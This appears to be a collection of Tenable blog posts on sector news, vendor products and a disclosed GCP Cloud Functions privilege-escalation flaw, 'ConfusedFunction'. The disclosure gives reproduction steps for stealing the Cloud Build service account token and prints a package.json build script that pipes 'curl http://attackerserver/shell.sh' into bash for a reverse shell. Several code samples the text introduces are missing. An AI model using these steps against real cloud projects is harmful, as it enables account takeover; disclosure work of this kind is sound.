Want to learn more about cybersecurity for water utilities? Watch the on-demand webinar “Safeguarding Your Water Utility,” which covers water-sector cyberthreats, regulation, legislation, funding opportunities, best practices for cyber resilience and more.

For more information about the cybersecurity of water and wastewater plants:

• “Shoring Up Water Security: Industry Leaders Testify Before Congress” (Tenable)
• “EPA Cybersecurity for the Water Sector” (Environmental Protection Agency)
• “US officials find weak security practices at water plants breached by pro-Russia hackers” (CNN)
• “More than 70% of surveyed water systems failed to meet EPA cyber standards” (NextGov)

VIDEO

Tenable Homeland Security Testimony 2024: CISA funding for OT security and water sector

Concerns about privacy, information accuracy, regulation compliance, biased analysis and other risks ranked as the top challenge healthcare organizations face when considering the adoption of generative AI.

That’s according to the report “Generative AI in healthcare: Adoption trends and what’s next” from McKinsey, which surveyed 100 leaders in payer, provider and healthcare services and technology (HST) organizations.

“Risk concerns and considerations top the list of scale-up challenges faced by surveyed leaders, regardless of whether they work at a payer, provider, or HST company,” reads the report.

Fueling risk concerns are generative AI’s lack of a track record, its investment requirements and uncertainty regarding regulations.

To reap the benefits generative AI promises without running afoul of regulations or compromising safety, healthcare organizations need to establish “governance processes, frameworks and guardrails” to proactively address and mitigate risks, according to McKinsey.

For more information about AI risk and opportunity in healthcare:

• “Artificial intelligence and cybersecurity in healthcare” (International Hospital Federation)
• “Evaluating the Impact of AI in Healthcare Cybersecurity” (American Hospital Association)
• “How the Executive Order on AI Will Impact Healthcare Cybersecurity” (TechTarget)
• “AI, deepfakes and other cybersecurity threats facing hospitals” (Chief Healthcare Executive)

Check out some thoughts from Tenable’s CEO and CSO about last week’s unprecedented IT outage, which was caused by a faulty software update. 

In these interviews with CNBC and CNN, Tenable CEO Amit Yoran explains why organizations should focus on the diversity of their IT systems amidst the fallout from the massive outage. 

You can also catch more comments from Yoran in the Wall Street Journal article “Blue Screens Everywhere Are Latest Tech Woe for Microsoft.”

Meanwhile, in his blog “Tenable’s Software Update Process Protects Customers’ Business Continuity with a Safe, Do-No-Harm Design,” Tenable CSO Robert Huber outlines how our comprehensive approach to the software development lifecycle (SDLC) allows us to produce extremely high-quality software and protect our customers’ business operations.

The U.S. Department of Health and Human Services (HHS) this week rolled out a reorganization aimed at improving tech operations, including cybersecurity, data management and AI.

The revamping involves consolidating under two HHS groups all the tech functions that until now have been handled by three groups. 

One of the new consolidated groups will establish the Office of the Chief Technology Officer and reinstitute the CTO role. The CTO will oversee data and AI strategy and policy. 

Directly reporting to the CTO will be the Chief AI Officer, the Chief Data Officer and a new Office of Digital Services.

“Cybersecurity, data, and AI are some of the most pressing issues facing the healthcare space today,” HHS Secretary Xavier Becerra said in a statement.

Responsibilities of the Chief AI Officer include:

• Setting AI policy and strategy
• Implementing governance, policy and risk management for AI use
• Support safe and appropriate AI use

Organizations that have used Google Cloud Platform’s Cloud Functions – a serverless execution environment – could be impacted by a privilege escalation vulnerability discovered by Tenable and dubbed as “ConfusedFunction.” Read on to learn all about the vulnerability and what your organization needs to do to protect itself.

Tenable Research has discovered a vulnerability in Google Cloud Platform involving its Cloud Functions serverless compute service and its Cloud Build CI/CD pipeline service.

Specifically, we discovered that when a GCP user creates or updates a Cloud Function, a multi-step backend process is triggered. This process, among other things, attaches a default Cloud Build service account to the Cloud Build instance that is created as part of the function’s deployment. This process happens in the background and isn’t something that ordinary users would be aware of.

This default Cloud Build service account gives the user excessive permissions. An attacker who gains access to create or update a Cloud Function can take advantage of the function’s deployment process to escalate privileges to the default Cloud Build service account.

The attacker could leverage the high privileges of the default Cloud Build service account in other GCP services that are created when a Cloud Function is created or updated, including Cloud Storage, and Artifact Registry or Container Registry.

After Tenable reported the vulnerability to GCP, GCP confirmed it and remediated ConfusedFunction to some extent for Cloud Build accounts created after mid-June 2024. However, remediation efforts did not address existing Cloud Build instances.

The ConfusedFunction vulnerability highlights the problematic scenarios that may arise due to software complexity and inter-service communication in a cloud provider's services. 

Specifically, to support backward compatibility, GCP has not changed the privileges from Cloud Build service accounts created before the fix was implemented. This means that the vulnerability is still affecting existing instances.

It’s also worth mentioning that while the GCP fix has reduced the severity of the problem for future deployments, it didn’t completely eliminate it. That’s because the deployment of a Cloud Function still triggers the creation of the aforementioned GCP services. As a result, users must still assign minimum but still relatively broad permissions to the Cloud Build service account as part of a function’s deployment.

So if you use Cloud Functions, we highly recommend monitoring and taking preventive action in this scenario, since attackers could still use it as a tactic, technique and procedure (TTP).

We want to thank Google Cloud for its cooperation and quick response.

For every cloud function using the legacy Cloud Build service account, replace it with a least-privilege service account. More details on how Tenable can help can be found at the end of this blog.

Cloud Functions in GCP are event-triggered, serverless functions. They automatically scale and execute code in response to specific events like HTTP requests or data changes. The first generation offered basic event handling, while the second generation improved language options, runtime customization and overall flexibility for more complex applications.

When creating a new Cloud Function or updating an existing one, GCP initiates a deployment process behind the scenes. The vulnerability affects both first- and second-generation Cloud Functions. We will focus our description of the vulnerability on the first gen deployment process as it is less complicated than that of the second gen, which includes additional GCP services.

Following the Cloud Function deployment trigger, a service agent saves the Cloud Function’s source code to a Cloud Storage bucket, and a Cloud Build instance orchestrates the function’s deployment. It does so by building the Cloud Function code into a container image and pushing the image to a Container Registry or an Artifact Registry.

But how does this Cloud Build instance perform privileged actions within your Google Cloud project?

Tenable Research noticed that the Cloud Build instance that GCP creates for the Cloud Function deployment has the default Cloud Build service account attached to it. This service account comes along with some interesting permissions. This attachment process is hidden behind the scenes, just like the deployment process initiation is. The only way a user can change the service account of the Cloud Build function deployment instance is by editing it after it has already been created. 

An important note: As you would expect, the only permissions a user needs to be able to create or update a Cloud Function are function permissions, but the Cloud Build instance, Cloud Storage bucket and Artifact Registry image in the user's account – all of which GCP creates for orchestration needs – require additional privileges.

GCP creates these background services through the use of service agents and the default Cloud Build service account. In terms of identity and access management (IAM), a user who has access to Cloud Functions should not have IAM permissions to the services included in the function’s orchestration.

While inspecting the Cloud Build instance created when Tenable Research deployed the function, we looked for a sink – potentially dangerous endpoints where injected malicious data can lead to adverse effects, such as code execution – controlled by user input or any other controllable source that would enable code to run in the Cloud Build instance and escalate privileges from Cloud Function permissions to the default Cloud Build service account’s permissions.

To this end, we encountered the following "npm install" command in the Cloud Build instance logs correlated to our node.js function:

Cloud Build installs the function's dependencies, which we can control with our function permissions. Looks like a perfect candidate for privilege escalation!

We can now create a new Cloud Function or edit an existing one, set our “malicious” dependency in the function's dependencies file and let the deployment do its job.

Here’s package.json example in a node.js function:

The deployment process will start, and the Cloud Build instance correlated to our function deployment will run its build commands, including the "npm install" command that will install our malicious dependency. This process works the same and affects all of the Cloud Functions' runtime environments.

Our goal was to run code on the Cloud Build instance. We can do that using a preinstall script in our malicious dependency that will force the Cloud Build instance to run our code. Here’s our malicious dependency example:

This code will then extract the default Cloud Build service account token, which GCP automatically attached, from the metadata of the Cloud Build instance:

Finally, we can use this token to impersonate the identity of the default Cloud Build service account and escalate our privileges from Cloud Function to the permissions of the service account.

Steps to reproducing this technique with a Node.js function runtime as an example:

1. Run npm init.
2. A package will be created in your current folder. Change the package.json code to the following:

1. Run npm publish --scope public. (Please note that this will result in the package being published to the public npm registry.)
2. Create a new Cloud Function or update an existing one with an identity that has function permissions.
3. Pick a Node.js runtime and edit the package.json with your malicious package:

1. Deploy the Cloud Function. The Cloud Build will run, your malicious package will be installed, and the preinstall script of the malicious package will exfiltrate the GCP token of the default Cloud Build service account from the metadata of the Cloud Build instance to your webhook.

Later in the research, we found more ways to leak the default Cloud Build service account token in the function deployment process. One of them is through the npm build start script.

As a part of the build process, the Cloud Build instance uses build scripts.

The problematic scenario here is similar to ConfusedFunction: Cloud Build scripts are controlled through the source code of the Cloud Function.

Identities with permission to update or create a function can run code in the build process of Cloud Build by inputting malicious code in the start build script.

From there, the exploitation process is the same. Attackers can inject the malicious build script in the package.json/requirements.txt of the function (depending on the runtime environment of the Cloud Function).

The default Cloud Build service account can be abused, and its token can be exfiltrated by accessing the metadata of the Cloud Build instance with the code ran by the malicious build script.

1. Change the package.json to the following and host your malicious script/reverse shell in shell.sh: { "dependencies": { "@google-cloud/functions-framework": "^3.0.0" }, "scripts": { "gcp-build": "curl -s http://attackerserver/shell.sh | bash" } }
2. Deploy the function.

In response to the disclosure of the identified vulnerabilities, GCP deployed solutions to enhance the security of Google Cloud Functions and Cloud Build service accounts in general. 

In mid-June, GCP added an option in Cloud Functions that involves using a custom service account for the Cloud Build instance deployed as part of the function deployment process. This service account should be tailored to the specific requirements of the Cloud Functions deployment. This form of deployment is more secure.

Before the fix, the customer didn’t have visibility and control over the default Cloud Build service account, as it was attached automatically to the Cloud Build instance as part of the function deployment process. 

More details about the fix can be found in this recent update to the GCP documentation.

Google Cloud deployed another update for Cloud Build over the months. of May and June, as an additional response to the ConfusedFunction finding. This update changed the default behavior of Cloud Build and of the default Cloud Build service account. In late June, additional organization policies were released to allow organizations full control over which service account Cloud Build uses by default.

These are the changes for new and existing projects that enable the Cloud Build API release deployed over the months of May and June 2024:

• Existing Cloud Build service accounts are referred to from now on as legacy Cloud Build service accounts.
• Projects use the Compute Engine service account by default for directly submitted builds.
• Projects have to explicitly specify a service account when you create a new trigger.
• The behavior for existing projects that enable the Cloud Build API before the changes were introduced remain unchanged by default.
• For organizations, you can adjust the organization policies to control which service account Cloud Build uses by default.

More information on the new organization policies introduced by Google Cloud and the updates can be found here.

By adopting these fixes, you can systematically enhance the security posture of your Google Cloud environment.

Cloud providers use their core services as the foundation of more popular customer-facing offerings, so one click in the console can create many different resources in the account in the background that you may not be aware of. In the ConfusedFunction vulnerability, this design pattern was the root cause of this vulnerability.

Software complexity and inter-service communication make it difficult to protect and secure modern applications. As more and more services are included in the process, vulnerabilities and misconfigurations are likely to occur.

In addition, these types of vulnerabilities, and common misconfigurations based on the same concepts, also tend to confuse customers with regards to where they sit in the shared responsibility model. Even though those resources were created by the cloud provider, their security is the customer’s responsibility because these resources are in the customer’s account.

In this post, we showed a technique for abusing the permissions of the Cloud Function deployment to elevate privileges. By sharing our process, we hope to educate the security community regarding the complexity of Cloud Function internal workings and the many nuances of IAM risk. 

The Tenable Cloud Security team will launch a feature to help customers eliminate the risks described in this blog post in August 2024. The feature will alert customers on excessive IAM permissions and the use of the default Cloud Build service account, while considering the use and risks of Cloud Functions.

Due to the complexity of cloud infrastructure, IAM misconfigurations are inevitable and, as we saw in this post, can pose a huge risk. The Tenable Cloud Security CNAPP solution can help by identifying exactly which resources an identity can access or, conversely, how a resource is exposed including risks such as privilege escalation, and automatically generate least-privilege policies that eliminate the risky permissions. 

Feel free to contact Tenable Research with any questions or concerns you have about cloud security.

With the unprecedented tech outages experienced by so many of our customers over the last week, we recognize the need for deeper understanding of our software development processes and how they support global business continuity. In this blog post, we’ll outline how Tenable’s comprehensive approach to the software development lifecycle (SDLC) allows us to produce extremely high-quality software and protect our customers’ business operations with a secure, do-no-harm approach. 

Tenable rigorously manages every step in the software development lifecycle (SDLC) – research, design, development, testing and release – which results in software that’s stable, tested, accurate and timely. 

Specifically, Tenable makes software-design choices that prioritize flexibility and give customers control over the deployment of our software releases and updates.

For example, customers can control when or if the Nessus Agent and its plugins are updated within their environment. Additionally, the Nessus Agent operates in the kernel’s “user space,” reducing the risk of operating system faults. 

Features such as these put the ultimate power in the hands of customer change-control programs and lower the risk of incidents, such as the one that caused the global IT outage last week.

Below we provide more details.

• Declarative plugin version control feature

Supporting our customers' change-control management processes, Tenable provides the flexibility to choose from multiple options for how the plugin content version is applied across agent deployments. This offers customers the control to validate and test Tenable plugins before performing an enterprise deployment. 

• Do-no-harm Nessus Agent design

The Tenable Nessus Agent is designed so that it executes solely in the user space and limits its interaction with the endpoint's kernel to standard system calls as provided by the operating system, such as event notification callbacks. 

As such, the Tenable Nessus Agent does not require any Tenable-developed components to reside inside the operating system kernel. This design is intentional in order to reduce catastrophic impacts to the endpoint's operating system. It also prevents the Tenable Agent from impacting an endpoint's ability to boot properly.

User-space applications do not have direct access to the kernel or hardware. Therefore, they cannot directly cause the types of failures that lead to a “blue screen of death” in a Windows system.

• Nessus Agent software version control features

Enabling our customers' enterprise change-control procedures is at the top of Tenable's mind. With Tenable Vulnerability Management and with Nessus Manager for Security Center integrations, we provide multiple options for customers to apply software version control for their Nessus agents. These options allow customers to test and validate the Nessus Agent before performing an enterprise deployment. Depending on their business needs, customers may choose to leverage this feature.

We hope this blog post has provided you with a clear idea of how Tenable strives to design and deliver software with the highest degree of security and quality, guided by our top priority – to keep our customers safe and protect their businesses.

Please contact us if you wish to get more information about our software development processes.

If you’re a bit puzzled by all the talk about cloud native application protection platforms (CNAPPs), worry not. Our new eBook “Empower Your Cloud: Mastering CNAPP Security” explains in plain English what CNAPP is, how it works and why it’ll help you secure your cloud environment confidently. Read on to check out the eBook’s main highlights.

As organizations move operations to the cloud, the need for robust security measures has never been more critical. Cloud native application protection platforms (CNAPPs) offer comprehensive solutions designed to tackle the myriad threats and vulnerabilities that accompany cloud infrastructures.

Tenable recently published an eBook — “Empower Your Cloud: Mastering CNAPP Security.” You can download it here. This post summarizes the key points. But read the book to get the full story.

Cloud security was built on a misleading concept: the shared responsibility model. On its surface, the “shared responsibility” merely outlines the individual security responsibilities of cloud providers and customers. It seems pretty straightforward and the model does provide a framework for understanding security responsibilities. But customer beware: It usually places the onus on you to implement and maintain robust security measures. 

In response to the rush to the cloud, a cottage industry of solutions have popped up that handle a tiny sliver of the cloud security challenge. The end result is product fatigue. In the age of limited resources, when your day job has you focused on threats like ransomware and trying to ensure compliance, there are only so many alerts and systems you can pay attention to. After a while it’s just all noise.

Amid that noise, the prevalence of cloud breaches underscores the urgency for more complete security measures. 

In Tenable's recent "Cloud Security Outlook" report, a staggering 95% of security professionals surveyed reported experiencing a cloud breach within an 18-month period, with an average of 3.6 breaches per respondent. These statistics highlight the pervasive nature of cloud security risks and the need for proactive measures to mitigate them.

(Source: Tenable's "Cloud Security Outlook" report, May 2024) 

Amid that noise, the prevalence of cloud breaches underscores the urgency for more complete security measures. 

CNAPP solutions replace that patchwork of siloed products that often cause more problems than they solve. Those products usually provide only partial coverage and often create overhead and friction with the products they’re supposed to work with. And, in today's multi-cloud landscape, organizations often work with multiple cloud providers to optimize services and avoid vendor lock-in. 

The complexity of securing the cloud is multiplied when it becomes plural: Clouds. Managing security across heterogeneous cloud infrastructures is a big challenge. Plus, traditional security tools provided by individual cloud vendors are often limited to their respective platforms, leading to fragmented security postures. 

A comprehensive CNAPP solution includes a wide variety of essential capabilities, including:

• Cloud security posture management (CSPM)
• Cloud infrastructure entitlement management (CIEM)
• Cloud workload protection (CWP)
• Kubernetes security posture management (KSPM)
• Infrastructure as code (IaC) scanning 
• Cloud detection and response (CDR) 
• Data security posture management (DSPM)

As you evaluate CNAPPs, make sure you cover your bases on three key components: Identity and access management to ensure “least privilege” access; vulnerability management to prioritize and remediate vulnerabilities based on their potential impact; and exposure management to gain visibility across cloud environments and mitigate risks that stem from the toxic combinations of vulnerabilities, misconfigurations, and excessive permissions.

CNAPPs benefit a wide range of stakeholders involved in cloud security, including security, DevOps, DevSecOps, IAM, and IT teams. A CNAPP also helps those disparate groups collaborate to reduce cloud environment risks.

Enterprises stand to gain a number of advantages, including enhanced visibility, consistent security posture, streamlined infrastructure health, minimal overhead, seamless integration, shift-left security and holistic security coverage. 

Check out this short video, in which a Tenable security engineer explains some CNAPP benefits experienced by Tenable customers.

To learn more about CNAPPs, read our new eBook “Empower Your Cloud: Mastering CNAPP Security.”

Using just-in-time controls to secure access to your SaaS applications will reduce your cloud attack surface by avoiding permanent access and enforcing least privilege.

By granting permissions on a time-limited, as-needed basis only, just-in-time (JIT) controls are an important security mechanism for protecting access to cloud resources. JIT access is becoming a popular cloud security practice, with enterprises applying it innovatively in real world scenarios.

It turns out that another excellent cloud use case for JIT has evolved. For easier security scaling, many organizations are using their identity provider’s groups function (IdP groups) to grant and manage access to software-as-a-service (SaaS) applications, such as those from Salesforce. By applying JIT to IdP groups, organizations can apply the best practice of role-based access management to their SaaS apps and ensure access is granted only as needed. Adopting this new use case is a simple next step for security teams already using JIT for cloud resources.

Specifically, by applying JIT to IdP groups you can create an access-request flow in which users request either one-off access or permissions elevation, and requests are evaluated or granted either automatically or by a designated approver. Access is limited to just hours and becomes process-driven, with the granted privileges revoked upon expiration. JIT prevents the risk posed by permanent access to SaaS applications by narrowing the window of opportunity for malicious use of compromised credentials and vulnerabilities.

Social engineering (including phishing), credentials compromise and malicious internal users are common beachheads for penetrating a cloud environment. Once bad actors gain access, excessive permissions such as permanent access - aka standing permissions - open your environment to compromise. Placing time-bound limits on permissions helps prevent exposure to such attack vectors. Using JIT to engineer temporary access for cloud resources and also for sensitive cloud applications not only makes your cloud environment more secure, it also enforces the least privilege practices required by compliance regulations. 

It’s important to note that the SaaS user is typically a business user. So using JIT to control access to sensitive SaaS applications extends security beyond development and IT users to the organization’s business environment. Security leaders have an organic opportunity to capitalize on existing use of JIT for cloud resources to drive adoption of JIT for SaaS apps – scaling security and improving their enterprise’s cloud security maturity.

For future proofing your JIT investment, make sure you consider a JIT access capability that supports your current cloud identity provider and others. You’ll want to evaluate JIT tooling that is part of a comprehensive cloud security solution, namely, a cloud native application protection platform (CNAPP) that includes strong capabilities for cloud identity entitlement management (CIEM) and data security posture management (DSPM). CIEM makes it easier to detect where you have the most significant identity risks that warrant mitigating using the JIT approach. DSPM helps you understand which resources are more sensitive than others. Overall, JIT implemented as part of a CNAPP provides insight into multi-cloud risk and context across your infrastructure, workloads, identities and data that is inherently lacking in standalone JIT tooling.

Be sure your JIT solution for cloud provides full reporting on access requests and denials, changes in eligibility and user activities during temporary access.

Here’s an example of how Tenable Cloud Security, our CNAPP solution, has implemented JIT for SaaS. The process is straightforward and takes just a few minutes. First, security personnel and/or system/applications administrators, working with the IdP groups function of their organization’s IdP, create an eligibility for the business application for which they want to enable temporary access. Next, any user in the organization seeking access to the business application uses a collaboration tool like Slack or Microsoft Teams, or Tenable’s cloud JIT portal, to submit a temporary access request. Approval is granted automatically or by the designated approvers, as specified within the eligibility. Automatic approvals are according to the permissions defined for the group or groups for which the user is eligible.

In a few clicks, security personnel or the relevant admin create an eligibility. This involves specifying the group that has permissions to the application, the principals (user or group) that can submit requests, maximum session duration and designated approvers. 

Tenable Cloud Security enables security teams, system admins and application admins, using the IdP group function of their identity provider such as Microsoft Entra ID, to define eligibilities to easily manage temporary access requests to SaaS applications.

In Slack, Microsoft Teams or the Tenable Cloud Security self-service JIT portal, users specify the desired permissions, access duration and start time, and provide a brief business justification.

Tenable Cloud Security enables an organization’s users, via Slack, Microsoft Teams or its self-service JIT portal, to request temporary access – access they don’t yet have at all or elevated access – to the desired application.

When temporary access is approved, the user can see, within their IdP, their assigned access to the requested application.

Nothing good lasts forever -- and that’s the raison d’etre of JIT. When the session expires, Tenable Cloud Security automatically revokes the user’s permissions. Depending on the case, the user will no longer have access to the application or access will be based on their original permissions. 

In short, Tenable Cloud Security’s JIT for cloud helps organizations protect both cloud resources and SaaS applications across AWS, Azure, Google Cloud Platform and Oracle – and seamlessly expand their familiar use of JIT to cover SaaS apps, as well. Tenable’s cloud JIT is AWS-validated for IAM Identity Center.

To learn more, check out our Tenable JIT for IdP recorded demo below – or request a live demo on Tenable Cloud Security overall or on Tenable CIEM and JIT in particular.

Using JIT Access for Sensitive SaaS Applications

Our new research paper gives you a roadmap for using Pimcore's features while preserving security.

Enterprises are using Pimcore, an open-source enterprise PHP solution, to streamline data management and experience management across devices. Our new research paper "Auditing Pimcore Enterprise Platform" examines the most common issues with Pimcore and details methods that can be used to find new vulnerabilities in the software.

Pimcore integrates various functionalities, including product information management (PIM), master data management (MDM), digital asset management (DAM), customer data platform (CDP), and digital experience management (DXP). Built on the PHP Symfony framework, Pimcore can be deployed on-premises or in the cloud as a platform-as-a-service (PaaS) component.

Our research paper provides an overview of the core functionalities and structure of Pimcore, highlighting how its modular design promotes code reusability and maintainability. It also delves into common misconfigurations and vulnerabilities, such as cross-site scripting (XSS) and SQL injections (SQLi), and offers practical recommendations on how to safeguard your Pimcore instance.

By reading this research, you will:

Understand core functionalities: Gain insights into the architecture of Pimcore and how it leverages the Symfony framework to provide a scalable and flexible solution.

Identify common vulnerabilities: Learn about the typical security issues found in Pimcore installations, including misconfigurations that can lead to significant security risks.

Learn best practices: Get expert advice on maintaining security, performing regular vulnerability scans, and ensuring your Pimcore stack is always up-to-date.

Our paper also discusses the impact of enabling debug mode, the risks associated with exposed administration panels, and the importance of a stringent Content Security Policy (CSP). We provide detailed methodologies for identifying and mitigating the risks and ensuring that your use of Pimcore remains secure.

Whether you are a developer, security professional, or IT manager, this paper will equip you with the knowledge to optimize and protect your Pimcore deployments.

Download the paper now to understand the full potential of Pimcore while maintaining your security posture.

Please read this important customer update about CrowdStrike's recent incident.

Saturday, July 20, 2024

As of 5:45 am ET this morning, we have implemented a fix for the CrowdStrike incident and are monitoring to ensure it resolved all associated issues.

###

Friday, July 19, 2024

12:21 pm ET Update

Following the recent CrowdStrike update, we are aware that some of our Tenable Identity Exposure customer platforms on Microsoft Azure have been affected. The incident does not prevent users from accessing their console and reviewing the results of the previous scan. Only the real-time monitoring is impacted. Similarly, new Identity Exposure data in Tenable One is not available.

We are working to quickly restore this service and will publish updates on our dedicated incident web portal.

In the meantime, we can confirm that all of our other Tenable solutions are not impacted and working as they should. 

###

Friday, July 19, 2024

10:15 am ET

Following the recent CrowdStrike update, we are aware that some of our Tenable Identity Exposure customer platforms on Microsoft Azure have been affected. The incident does not prevent users from accessing their console and reviewing the results of the previous scan. Only the real-time monitoring is impacted. Similarly, Identity Exposure data in Tenable One is not available.

We are working to quickly restore this service and will publish updates on our dedicated incident web portal.

In the meantime, we can confirm that all of our other Tenable solutions are not impacted and working as they should. 

CISA’s red team acted like a nation-state attacker in its assessment of a federal agency’s cybersecurity. Plus, the Cloud Security Alliance has given its cloud security guidance a major revamping. Meanwhile, a Google report puts a spotlight on insecure credentials. And the latest on open source security, CIS Benchmarks and much more!

Dive into six things that are top of mind for the week ending July 19.

A new, must-read report from the U.S. Cybersecurity and Infrastructure Security Agency (CISA) outlines how the agency’s red team probed a large federal agency’s network, quickly found a way in and stayed undetected for months.

The 29-page report details the so-called SilentShield assessment from CISA’s red team, explains what the agency’s security team should have done differently and offers concrete recommendations and best practices you might find worth reviewing.

Mimicking the modus operandi of a typical nation-state attacker, CISA’s red team exploited a known vulnerability on an unpatched web server, gaining access to the agency’s Solaris environment. Separately, the red team also breached the network’s Windows environment via a phishing attack. 

Once inside, the red team was able to exploit other weaknesses, such as unsecured admin credentials, to extend the scope of the breach, which went undetected for five months. At that point, CISA alerted the agency about the SilentShield operation.

CISA has authorization to conduct SilentShield assessments, whose purpose is to work with the impacted agency and help its security team strengthen its cyberdefenses.

Here’s a brief sampling of the assessed agency’s security weaknesses:

• Lack of sufficient prevention and detection controls, including an inadequate firewall between its perimeter and internal networks; and insufficient network segmentation
• Failure to effectively collect, retain and analyze logs, which hampered defensive analysts’ ability to gather necessary information
• Bureaucratic processes and siloed teams
• Reliance on flagging “known” indicators of compromise (IOCs) instead of using behavior-based detection
• Lack of familiarity with the identity and access management system (IAM), which wasn’t tested against credential-manipulation techniques nor were its anomalous-behavior alerts monitored

Recommendations include:

• Deploy internal and external firewalls
• Implement strong network segmentation
• Enroll all accounts in the IAM system, and make sure it’s not vulnerable to credential manipulation
• Centralize logging and use tool-agnostic detection

To get more details, read the report, titled “CISA Red Team’s Operations Against a Federal Civilian Executive Branch Organization Highlights the Necessity of Defense-in-Depth.”

For more information about the threat from nation-state cyberattackers:

• “What CISOs Need to Know About Nation-State Actors” (InformationWeek)
• “4 Ways to Defend Against Nation-State Attacks” (BankInfoSecurity)
• “Growing Nation-State Alliances Increase U.S. Cyber Risks” (Government Technology)
• “Nation-State Hackers Leverage Zero-Day Vulnerabilities to Penetrate MITRE Cybersecurity Research Network” (CPO Magazine)

The Cloud Security Alliance (CSA) has given a major makeover to its “Security Guidance for Critical Areas of Focus in Cloud Computing,” including adding new topics like artificial intelligence (AI), and boosting coverage of areas like data security and IAM.

The guide is aimed at helping organizations understand cloud computing components and cloud security best practices. Version 5, released this week, replaces version 4, which was published in 2017.

“We have completely revamped this updated 5th version to align with modern technologies and challenges,” reads the CSA blog “New Cloud Security Guidance from CSA.”

Here’s some of what’s new:

• Increased coverage of cloud workloads, application security, CI/CD, data security and DevSecOps
• New topics such as AI and zero trust
• Less emphasis on laws and regulations

The guide is organized into 12 sections, including:

• Cloud computing concepts and architectures
• Cloud governance and strategies
• Risk, audit and compliance
• IAM
• Cloud workload security
• Data security

For more information about cloud security, check out these Tenable resources:

• “Tag, You’re IT! Tagging Your Way to Cloud Security Excellence” (blog)
• “Leveraging CIEM to Secure Cloud Identities and Entitlements at Scale” (on-demand webinar)
• “Understanding Customer Managed Encryption Keys in AWS, Azure and GCP” (blog)
• “Secure Your Cloud-Native Applications” (on-demand webinar)
• “Cloud Workload Protection: The Key to Decreasing Cloud Security Risks” (blog)

When it comes to gaining an initial foothold in a cloud environment, attackers’ best friends are weak or simply non-existent credentials. That’s according to the latest “Google Cloud Threat Horizons Report,” which is based on data gathered during the first half of 2024.

Specifically, weak or no credentials accounted for 47.2% of initial-access vectors in cloud compromises observed by Google Cloud in customer environments.

(Source: Google Cloud Threat Horizons Report, July 2024)

Meanwhile, using the compromised system for cryptomining ranked as attackers’ top intrusion motivation (58.8%).

(Source: Google Cloud Threat Horizons Report, July 2024)

For more information about identity and access management security:

• “Poor Identity Hygiene at Root of Nation-State Attack Against Microsoft” (Tenable)
• “What is identity and access management? Guide to IAM” (TechTarget)
• “What is IAM? Identity and access management explained” (CSO)
• “Multifactor Authentication Is Not Enough to Protect Cloud Data” (Dark Reading)

As part of its efforts to help improve the security of open source software (OSS), CISA is crafting a framework and backing the development of an automated tool for assessing whether an OSS component is trustworthy.

“As work on both the framework and supporting tools continue to progress, we will improve our capability to assess OSS trustworthiness at scale,” reads CISA’s blog “Continued Progress Towards a Secure Open Source Ecosystem.”

The assessment framework will evaluate four aspects of the development of an OSS component:

• Its project, including the number of active contributors and unexpected ownership changes
• The product, including whether it contains known vulnerabilities or outdated dependencies
• Its protections, such as whether developer accounts require MFA
• Its policies, such as requirements for code reviews and vulnerability disclosures

“Taken together, the collected measurements can be grouped into these four categories to provide software users and choosers a consistent way to evaluate the trustworthiness of a particular OSS component,” wrote blog author Aeva Black, CISA’s Section Chief of Open Source Software Security.

To automate the framework’s measurement process and combine the measurement results, CISA is funding the development of an open source tool called Hipcheck, which is designed to “automatically assess and score software repositories for supply chain risk,” according to its Github page.

For more information about open source software security:

• “Establishing a security baseline for open source projects” (Help Net Security)
• “OWASP Top 10 Risks for Open Source Software” (OWASP)
• “Create an open source security policy for your organization” (TechTarget)
• “How to Navigate Open-Source Security Without Stifling Innovation” (Infosecurity)
• “Study finds that SW developers lack cybersecurity skills” (Tenable)

Banks and other financial services institutions looking for fresh guidance on adopting cloud securely can check out new best-practices documents published this week.

The documents, published by the U.S. Treasury Department and the Financial Services Sector Coordinating Council (FSSCC) industry non-profit group, seek to accomplish goals such as:

• Establishing a common cloud-computing terminology for banks and regulators.
• Crafting best practices for reducing cloud-related third-party risk
• Improving transparency and monitoring of cloud services
• Creating a framework for cloud services adoption

“Today’s publications mark a significant step forward by providing a roadmap and helpful resources for banks of all sizes,” Acting Comptroller of the Currency Michael J. Hsu said in a statement. “These documents also clarify cloud service providers’ responsibilities for ensuring a secure and resilient financial system.”

To get more details, check out the Treasury’s announcement “Treasury and the Financial Services Sector Coordinating Council Publish New Resources on Effective Practices for Secure Cloud Adoption.”

For more information about cybersecurity in the financial sector:

• “The cyber clock is ticking: Derisking emerging technologies in financial services” (McKinsey)
• “A Cyber Defense Guide for the Financial Sector” (Center for Internet Security)
• “4 steps to secure your treasury operations from cyberattacks” (J.P. Morgan)
• “Global financial stability at risk due to cyber threats” (World Economic Forum)
• “The rise of cyberattacks on financial institutions highlights the need to build a security culture” (SC Magazine)

Apple’s macOS. Microsoft’s Windows Server. Red Hat’s Enterprise Linux. Google’s Kubernetes Engine.

Those are among the products included in the latest round of updates for the popular CIS Benchmarks from the Center for Internet Security.

Specifically, these new secure-configuration recommendations were updated in June:

• CIS AlmaLinux OS 9 Benchmark v2.0.0
• CIS Apple macOS 12.0 Monterey Benchmark v3.1.0
• CIS Apple macOS 13.0 Ventura Benchmark v2.1.0
• CIS Apple macOS 14.0 Sonoma Benchmark v1.1.0
• CIS Google Kubernetes Engine (GKE) Benchmark v1.6.0
• CIS Microsoft Windows Server 2019 Stand-alone Benchmark v2.0.0
• CIS NGINX Benchmark v2.1.0
• CIS Oracle Linux 9 Benchmark v2.0.0
• CIS Red Hat Enterprise Linux 9 Benchmark v2.0.0
• CIS Red Hat OpenShift Container Platform Benchmark v1.6.0
• CIS Rocky Linux 9 Benchmark v2.0.0

In addition, CIS released brand new Benchmarks for AWS storage services, including Amazon Simple Storage Service (S3), and for Microsoft Azure database services, including Azure SQL.

Organizations can use the CIS Benchmarks’ secure-configuration guidelines to harden products against attacks. Currently, there are more than 100 Benchmarks for 25-plus vendor product families. Categories include cloud platforms; databases; desktop and server software; mobile devices; operating systems; and more.

To get more details, read the CIS blog “CIS Benchmarks July 2024 Update.” For more information about the CIS Benchmarks list, check out its home page, as well as:

• “Getting to Know the CIS Benchmarks” (CIS)
• “Security Via Consensus: Developing the CIS Benchmarks” (Dark Reading)
• “How to Unlock the Security Benefits of the CIS Benchmarks” (Tenable)
• “CIS Benchmarks Communities: Where configurations meet consensus” (Help Net Security)
• “CIS Benchmarks: DevOps Guide to Hardening the Cloud” (DevOps)

Rob Joyce and Mark Weatherford will help Tenable shape federal cyber and AI policy.

